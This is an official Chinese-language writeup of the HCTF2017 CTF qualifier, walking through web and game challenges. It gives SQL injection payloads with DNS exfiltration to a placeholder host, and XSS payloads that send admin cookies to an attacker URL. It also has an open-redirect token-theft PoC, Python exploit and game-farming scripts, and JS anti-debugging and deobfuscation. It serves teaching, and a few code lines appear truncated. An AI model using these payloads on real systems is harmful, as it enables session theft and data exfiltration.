HCTF2017-官方Writeup
前言 HCTF2017 Quals在11月12日正式落下帷幕了,我们很高兴HCTF的不断进步被人们看在眼里,HCTF2017第一次登陆CTFTIME,参加比赛并获得分数的队伍超过540只。从HCTF创办以来,HCTF一直践行着做更好更棒的CTF比赛的准则,从2015年的反作弊系统、全新的比赛机制,到2016年的动态积分制,HCTF一直在努力将CTF变得更像一个hack game!
今年我们第一次引入了分方向的闯关机制,将比赛题目分为 bin、web和 extra 三个大类,每一大类有五关,只有满足每关的开放条件,才能开放该关。
尽管规则导致的结果不竟如人意,但我们仍然进步,HCTF仍在变得更好。
按照传统,所有题目的源码如下
https://github.com/vidar-team/HCTF2017
下面放上所有官方Writeup
Weblevel1easy_sign_in 这个题目真的真的非常简单,连提示都非常的明显就是去查看证书的内容。 从证书中我们可以得到一条flag in: 123.206.81.217 或许有些浏览器显示的位置不一定是这样. 打开123.206.81.217 就可以看到 flag: hctf{s00000_e4sy_sign_in}
level2boring website 首先扫目录发现有www.zip,下载并打开发现是源码
<?php echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where>
n linkname:mysql
$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>
发现应该是sql server用linkserver来连接mysql。所以去查了一波linkserver的用法,以及结合注释可得select * from openquery(mysql,'select xxx')可以从mysql数据库中查得信息,但是没有回显,sleep函数也被ban了,然后看到oob的提示,去查了一波mysql out-of-band,发现load_file函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。
最终的payload: /?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')
dnslog 平台可以自己搭也可以用ceye
mysql out of band
babycrackbabycrack Description
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Now Score 302.93
Team solved 45
还是很抱歉题目的验证逻辑还是出现了不可逆推的问题,被迫在比赛中途加入4个hint来修复问题,下面我们来慢慢看看代码。
整个题目由反调试+代码混淆+逻辑混淆3部分组成,你可以说题目毫无意义完全为了出题而出题,但是这种代码确实最最真实的前端代码,现在许多站点都会选择使用反调试+混淆+一定程度的代码混淆来混淆部分前端代码。
出题思路主要有两篇文章:
http://www.jianshu.com/p/9148d215c119
https://zhuanlan.zhihu.com/p/29214928
整个题目主要是在我分析chrome拓展后门时候构思的,代码同样经过了很多重的混淆,让我们来一步步解释。
反调试 第一部分是反调试,当在页面内使用F12来调试代码时,会卡死在debugger代码处。
这里举个例子就是蘑菇街的登陆验证代码。
具体代码是这样的
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r=k||e(c);k=}];e=function(){return'\\w+'};c=1};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{})); 美化一下
(function () { (function a() {
try {
(function b(i) {
if (('' + (i / i)).length !== 1 || i % 20 === 0) {
(function () {}).constructor('debugger')()
} else {
debugger
}
b(++i)
})(0)
} catch (e) {
setTimeout(a, 5000)
}
})()
})();
这就是比较常见的反调试。我这里提供3种办法来解决这步。
1、使用node做代码调试。
由于这里的debugger检测的是浏览器的调试,如果直接对代码调试就不会触发这样的问题。
2、静态分析
因为题目中代码较少,我没办法把代码混入深层逻辑,导致代码可以纯静态分析。
3、patch debugger函数
由于debugger本身智慧触发一次,不会无限制的卡死调试器,这里会出现这种情况,主要是每5s轮询检查一次。那么我们就可以通过patch settimeout函数来绕过。
window._setTimeout = window.setTimeout; window.setTimeout = function () {};
这里可以用浏览器插件TamperMonkey解决问题。
除了卡死debug以外,我还加入了轮询刷新console的代码。
setInterval("window.console.log('Welcome to HCTF :>')", 50); 同样的办法可以解决,就不多说了。
代码混淆 在去除掉这部分无用代码之后,我们接着想办法去除代码混淆。
这里最外层的代码混淆,我是通过https://github.com/javascript-obfuscator/javascript-obfuscator做了混淆。
ps:因为我在代码里加入了es6语法,市面上的很多工具都不支持es6语法,会导致去混淆的代码语法错误!
更有趣的是,这种混淆是不可逆的,所以我们只能通过逐渐去混淆的方式来美化代码。
我们可以先简单美化一下代码格式
(function (_0xd4b7d6, _0xad25ab) { var _0x5e3956 = function (_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = _0x180a;
return _0x26f3b3;
};
function check(_0x5b7c0c) {
try {
var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function (_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
};
if (!'' ['replace'](/^/, String)) {
while (_0x46da6f--) _0x2829f2 = _0x802d91 || _0x2d59cf(_0x46da6f);
_0x802d91 = [function (_0x5e8f1a) {
return _0x2829f2;
}];
_0x2d59cf = function () {
return _0xa180('0x2b');
};
_0x46da6f = 0x1;
};
while (_0x46da6f--)
if (_0x802d91) _0x200db2 = _0x200db2(new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91);
return _0x200db2;
}(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
(function (_0x3291b7, _0xced890) {
var _0xaed809 = function (_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7(_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
var _0x43c8d1 = function (_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = _0x2e2f8d;
return _0x3a882f;
};
var _0x1c3854 = function (_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71; _0x59c050++) {
_0x52b956 += _0x52ba71(_0x59c050)(0x10);
}
return _0x52b956;
};
var _0x76e1e8 = _0x5b7c0c('_');
var _0x34f55b = (_0x1c3854(_0x76e1e8(-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8(0x4, 0x1))) % _0x76e1e8 == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function (_0x3f9bc5) {
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math(_0x3f9bc5 / 0x5);
var _0x4ee491 = _0x3f9bc5 % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510(_0x3c3bd8(_0x3f9bc5(_0x1e1753 * 0x5) >> 0x3));
_0x4dc510(_0x3c3bd8((_0x3f9bc5(_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5(_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510(_0x3c3bd8((_0x3f9bc5(_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510(_0x3c3bd8((_0x3f9bc5(_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5(_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510(_0x3c3bd8((_0x3f9bc5(_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5(_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510(_0x3c3bd8((_0x3f9bc5(_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510(_0x3c3bd8((_0x3f9bc5(_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5(_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510(_0x3c3bd8(_0x3f9bc5(_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510('=');
(function () {
(function _0x3c3bd8() {
try {
(function _0x4dc510(_0x460a91) {
if (('' + _0x460a91 / _0x460a91) !== 0x1 || _0x460a91 % 0x14 === 0x0) {
(function () {}['constructor']('debugger')());
} else {
debugger;
}
_0x4dc510(++_0x460a91);
}(0x0));
} catch (_0x30f185) {
setTimeout(_0x3c3bd8, 0x1388);
}
}());
}());
return _0x4dc510('');
};
e = _0x1c3854(b2c(_0x76e1e8)('=')) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ![];
}
f = _0x1c3854(b2c(_0x76e1e8)('=')) ^ e;
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8;
h = function (_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e);
}
return _0x3ea581;
};
j = _0x76e1e8('3');
if (j != j || (_0x1c3854(j) ^ _0x1c3854(j)) != 0x1613) {
return ![];
}
k = _0xffcc52 => _0xffcc52() * _0x76e1e8;
l = h(j, k);
if (l != 0x2f9b5072) {
return ![];
}
m = _0x1c3854(_0x76e1e8(0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8(0x5, 0x1), 0x2) == _0x76e1e8(-0x5, 0x4) || _0x76e1e8(-0x2, 0x1) - _0x76e1e8(0x4, 0x1) != 0x1) {
return ![];
}
o = _0x1c3854(_0x76e1e8(0x6, 0x2))(0x2) == _0x76e1e8(0x6, 0x1)() * _0x76e1e8 * 0x5;
return o && _0x76e1e8(0x4, 0x1) == 0x2 && _0x76e1e8(0x6, 0x2) == _0x5a6d56(_0x76e1e8(0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
}
}
代码里主要有几点混淆:
1、变量名替换,a -->_0xd4b7d6,这种东西最烦,但是也最简单,批量替换,在我看来即使abcd这种变量也比这个容易读
2、提取了所有的方法到一个数组,这种也简单,只要在chrome中逐步调试替换就可以了。
还有一些小的细节,很常见,没什么可说的
"s".length()--> "s"['length']() 最终代码可以优化到这个地步,基本已经可读了,下一步就是分析代码了。
function check(flag){ var _ = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
var head = flag['substring'](0, 4);
var base = parseInt(btoa(head), 0x20); //344800
(function (b, c) {
var d = function (a) {
while (--a) {
b['push'](b['shift']())
}
};
d(++c);
}(_, base%123));
var g = function (a) {
var a = parseInt(a, 0x10);
var c = _;
return c;
};
var s2h = function(str){
var result = "0x";
for(var i=0;i<str['length'];i++){
result += str['charCodeAt'](i)['toString'](16)
}
return result;
}
var b = flag['split']("_");
var c = (s2h(b['substr'](-2,2)) ^ s2h(b['substr'](4,1))) % b['length'] == 5;
if(!c){
return false;
}
b2c = function(s) {
var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
var parts = [];
var quanta = Math.floor((s['length'] / 5));
var leftover = s['length'] % 5;
if (leftover != 0) {
for (var i = 0; i < (5 - leftover); i++) {
s += '\x00';
}
quanta += 1;
}
for (i = 0; i < quanta; i++) {
parts.push(alphabet.charAt(s['charCodeAt'](i * 5) >> 3));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) << 2) | (s['charCodeAt'](i * 5 + 1) >> 6)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x3F) >> 1)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x01) << 4) | (s['charCodeAt'](i * 5 + 2) >> 4)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 2) & 0x0F) << 1) | (s['charCodeAt'](i * 5 + 3) >> 7)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x7F) >> 2)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x03) << 3) | (s['charCodeAt'](i * 5 + 4) >> 5)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 4) & 0x1F))));
}
var replace = 0;
if (leftover == 1)
replace = 6;
else if (leftover == 2)
replace = 4;
else if (leftover == 3)
replace = 3;
else if (leftover == 4)
replace = 1;
for (i = 0; i < replace; i++)
parts.pop();
for (i = 0; i < replace; i++)
parts.push("=");
return parts.join("");
}
e = s2h(b2c(b)['split']("="))^0x53a3f32
if(e != 0x4b7c0a73){
return false;
}
f = s2h(b2c(b)['split']("=")) ^ e;
if(f != 0x4315332){
return false;
}
n = f*e*b['length'];
h = function(str, func){
var result = "";
for(var i=0;i<str['length'];i++){
result += func(str)
}
return result;
}
j = b['split']("3");
if(j['length'] != j['length'] || (s2h(j)^s2h(j)) != 0x1613){
return false;
}
k = str => str['charCodeAt']()*b['length'];
l = h(j,k);
if(l!=0x2f9b5072){
return false;
}
m = s2h(b['substr'](0,4))-0x48a05362 == n%l;
function u(str, j){
var result = "";
for(var i=0;i<j;i++){
result += str;
}
return result;
}
if(!m || u(b['substr'](5,1),2) == b['substr'](-5,4) || (b['substr'](-2,1) - b['substr'](4,1)) != 1){
return false
}
o = s2h(b['substr'](6,2))['substr'](2) == b['substr'](6,1)['charCodeAt']()*b['length']*5;
return o && b['substr'](4,1) == 2 && b['substr'](6,2) == u(b['substr'](7,1),2);
}
剩下的代码已经没什么可说的了。
1、首先是确认flag前缀,然后按照_分割为5部分。
2、g函数对基础数组做了一些处理,已经没什么懂了。
3、s2h是字符串到hex的转化函数
4、第一部分的验证不完整,导致严重的多解,只能通过爆破是否符合sha256来解决。
5、后面引入的b2c函数很简单,测试就能发现是一个base32函数。
6、第三部分和第四部分最简单,异或可得
7、h函数会对输入的字符串每位做func函数处理,然后拼接起来。
8、第二部分由3分割,左右两边长度相等,同样可以推算出结果。
9、k是我专门加入的es6语法的箭头语法,对传入的每个字母做乘7操作。
10、最后一题通过简单的判断,可以确定最后一部分的前四位。
11、u函数返回指定字符串的指定前几位
12、剩下的就是一连串的条件:
13、首先是一些很关键的的重复位,由于我写错了一些东西,导致这里永远是false,后被迫给出这几位.!m || u(b['substr'](5,1),2) == b['substr'](-5,4) || (b['substr'](-2,1) - b['substr'](4,1)) != 1
14、最后一部分是集合长度、以及部分条件完成的,看上去存在多解,但事实上是能逆向出来结果的。
当我们都完成这部分的时候,flag就会被我们解出来了。
poker 这次想以游戏安全出一些题目,但是又担心出的太难,大家没做过类似的游戏漏洞挖掘(其实是为了偷懒),就出了一道战斗频率没有限制的刷级漏洞。这是一个去掉充值功能以外完整的游戏,我去掉了后台对于加速器的检测机制。
提示给的很明显,在flag.php里提示了
getFlag when you are at level 100!!! 升到一百级就可以拿到flag,但是比赛时间的48个小时正常情况下不吃不喝也是升不到100级的,ctf本来就是一个hack game,所以需要分析他的游戏机制。这个版本的poker2没有战斗频率限制,可以高速无限战斗,脚本很简单,但是还需要分析游戏的细节。众多野怪地图里有一个叫圣诞小屋的挂机地图,伤害低经验高,写好挂机脚本还是很简单的。
import requests import re
from time import sleep
host = "petgame.2017.hctf.io"
headers = {
"Cookie":"PHPSESSID=c4gn8hav06nsv43bo65tlfkto3"
}
def getFight(host, headers):
url = "http://"+host+"/function/Fight_Mod.php?p=37&bid=5226&rd=0.5365947475076844"
req = requests.get(url = url, headers = headers)
html = req.content
gid = re.findall("gg=\[.*,(.*)\]",html)
if len(gid)>0:
gid = gid
attack(gid, 4, host, headers)
else:
return False
def attack(gid, times, host, headers):
url = "http://"+host+"/function/FightGate.php?id=1&g="+str(gid)+"&checkwg=checked&rd=0.34966725314993186"
for i in xrange(0,times-1):
req = requests.get(url = url, headers = headers)
html = req.content
print html
while True:
getFight(host,headers)
# sleep(0.1)
#attack(86,url,headers)
其实还有其他解法,就是在poker-poker一题中找到注入点,如果有一百级的玩家的密码是弱口令(md5可查)则可以进入其他人账号获得flag。我特意把poker2一题放在第二层,poker-poker在第三层,但是还是有人找到了非预期的注入点(注册处),提前获取了别人的session,在我删除一百级账号前获得flag。
level3poker-poker 这题就比较难受了,看了大家传上来的wp,没有一份是预期解。由于游戏程序比较多,我也没全部看过,就找了一处隐蔽的有回显注入点,但是有一些前置条件。
题目提示是pspt,访问发现跳转到pspt/并且状态403,说明存在pspt目录。
pspt目录下存在robots.txt。
Disallow: /pspt/inf/queryUserRole.php Sitemap: http://domain.com/sitemap.xml
直接访问/pspt/inf/queryUserRole.php提示error1。该目录下存在.bak文件,泄漏了源码。
<?php require_once(dirname(dirname(dirname(__FILE__))).'/config/config.game.php');
if (empty($_GET['user_account']) || empty($_GET['valid_date']) || empty($_GET['sign'])) {
die('error1');
}
$time = time();
if ($_GET['valid_date'] <= $time) {
die('error2');
}
$encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM';
$flag = md5($_GET['user_account'].$_GET['valid_date'].$encryKey);
if ($flag != $_GET['sign']) {
die('error3');
}
$arr = $_pm['mysql'] -> getOneRecord("SELECT>
if (!is_array($arr)) {
die('error4');
}
$str = $arr['id'].'&'.$arr['nickname'];
$newstr = iconv('utf8','utf-8',$str);
echo $newstr;
unset($time,$arr,$str);
?>
此处泄漏了encryKey,只要有这个encryKey,我们可以根据源码写出注入payload。
poc:
import requests import time
import hashlib
import urllib2
def getMd5(data):
data = str(data)
t = hashlib.md5()
t.update(data)
return t.hexdigest()
def hack(payload="admin"):
user_account = urllib2.quote(payload)
valid_date = int(time.time())+10000
sign = getSign(user_account, valid_date)
url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user_account="+str(user_account)+"&valid_date="+str(valid_date)+"&sign="+sign
req = requests.get(url = url)
print req.content
def getSign(user_account, valid_date):
user_account = urllib2.unquote(user_account)
encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM'
sign = getMd5(str(user_account) + str(valid_date) + encryKey)
return sign
hack("adminss' union all select 111,flag from hctf.flag2#")
flag就在hctf库里的hctf2表里。
而大家找到的其他注入点
A World Restored & A World Restored AgainA World Restored Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
A World Restored Again Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html,为了能尽可能的模拟真实环境,我这个不专业的Web开发只能强行上手实现站库分离。
其中的一部分非预期,也都是因为站库分离实现的不好而导致的。(更开放的题目环境,导致了很多可能,或许这没什么不好的?
整个站的结构是这样的:
1、auth站负责用户数据的处理,包括登陆验证、注册等,是数据库所在站。
2、messbox站负责用户的各种操作,但不连接数据库。
这里auth站与messbox站属于两个完全不同的域,受到同源策略的影响,我们就需要有办法来沟通两个站。
而这里,我选择使用token做用户登陆的校验+jsonp来获取用户数据。站点结构如下:
简单来说就是,messbox登陆账号完全受到token校验,即使你在完全不知道账号密码的情况下,获取该token就可以登陆账号。
那么怎么获取token登陆admin账号就是第一题。
而第二题,漏洞点就是上面文章中写的那样,反射性的domxss,可以得到服务端的flag。
为了两个flag互不干扰,我对服务端做了一定的处理,服务端负责处理flag的代码如下:
$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}"; $flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
if(!empty($_SESSION['user'])){
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
}
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
}
}
可以很明显的看出来,flag1是httponly并在messbox域下,只能登陆才能查看。flag2我设置了check位,只有bot才会访问这个页面,这样只有通过反射性xss,才能得到flag。
下面我们回到题目。
A World RestoredA World Restored Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
这道题目在比赛结束时,只有7只队伍最终完成了,非常出乎我的意料,因为漏洞本身非常有意思。(这个漏洞是ROIS发现的)
为了能够实现token,我设定了token不可逆的二重验证策略,但是在题目中我加入了一个特殊的接口,让我们回顾一下。
auth域中的login.php,我加入了这样一段代码
if(!empty($_GET['n_url'])){ $n_url = trim($_GET['n_url']);
echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
exit;
}else{
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>";
exit;
}
这段代码也是两个漏洞的核心漏洞点,假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面,那么因为未登录,页面会跳转到auth域并携带n_url,如果获取到登陆状态,这里就会拼接token传回messbox域,并赋予登陆状态。
简单的流程如下:
未登录->获取当前URL->跳转至auth->获取登陆状态->携带token跳转到刚才获取的URL->messbox登陆成功 当然,这其中是有漏洞的。
服务端bot必然登陆了admin账号,如果我们直接请求login.php并制定下一步跳转的URL,那么我们就可以获取拼接上的token!
poc http://auth.2017.hctf.io/login.php?n_url=http://{you_website}
得到token我们就可以登陆messbox域,成功登陆admin
A World Restored AgainA World Restored Again Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
到了第二部,自然就是xss了,其实题目本身非常简单,在出题之初,为了避免题目出现“垃圾时间”(因为非预期导致题目不可解),我在题目中加入了跟多元素。
并把flag2放置在.2017.hctf.io域下,避免有人找到messbox的xss但是打不到flag的问题。(没想到真的用上了)
这里我就简单描述下预期解法和非预期解法两个。
预期解法 预期解法当然来自于出题思路。
https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html
漏洞本身非常简单,但有意思的是利用思路。
当你发现了一个任意URL跳转的漏洞,会不会考虑漏洞是怎么发生的?
也许你平时可能没注意过,但跳转一般是分两种的,第一种是服务端做的,利用header: location,这种跳转我们没办法阻止。第二种是js使用location.href导致的跳转。
既然是js实现的,那么是不是有可能存在dom xss漏洞呢?
这个uber的漏洞由来就是如此。
这里唯一的考点就是,js是一种顺序执行的语言,如果location报错,那么就不会继续执行后面的js,如果location不报错,那么就可能在执行下一句之前跳转走。
当然,办法很多。最普通的可能是在location后使用stop()来阻止跳转,但最好用的就是新建script块,这样上一个script报错不会影响到下一个script块。
最终payload
</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script exp
http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E
非预期解法 除了上面的漏洞以外,messbox也有漏洞,username在首页没有经过任何过滤就显示在了页面内。
但username这里漏洞会有一些问题,因为本身预期的漏洞点并不是这里,所以这里的username经过我框架本身的一点儿过滤,而且长度有限制,所以从这里利用的人会遇到很多非预期的问题。
payload如下,注册名为
<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script> 的用户名,并获取token。
传递
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=
即可
SQL Silencer 有些假过滤,简化一下贴出注入部分最重要部分的代码
function sql_check($sql){ if($sql < 1 || $sql > 3){
die('We only have 3 users.');
}
$check = preg_match('/&|_|\+|or|,|and| |\|\||#|-|`|;|"|\'|\*|into|union([\s\S]+)select([\s\S]+)from/i',$sql);
if( $check ){
die("Nonono!");
} else {
return $sql;
}
}
这道题其实是可以显注的,各位有兴趣的可以先去试试
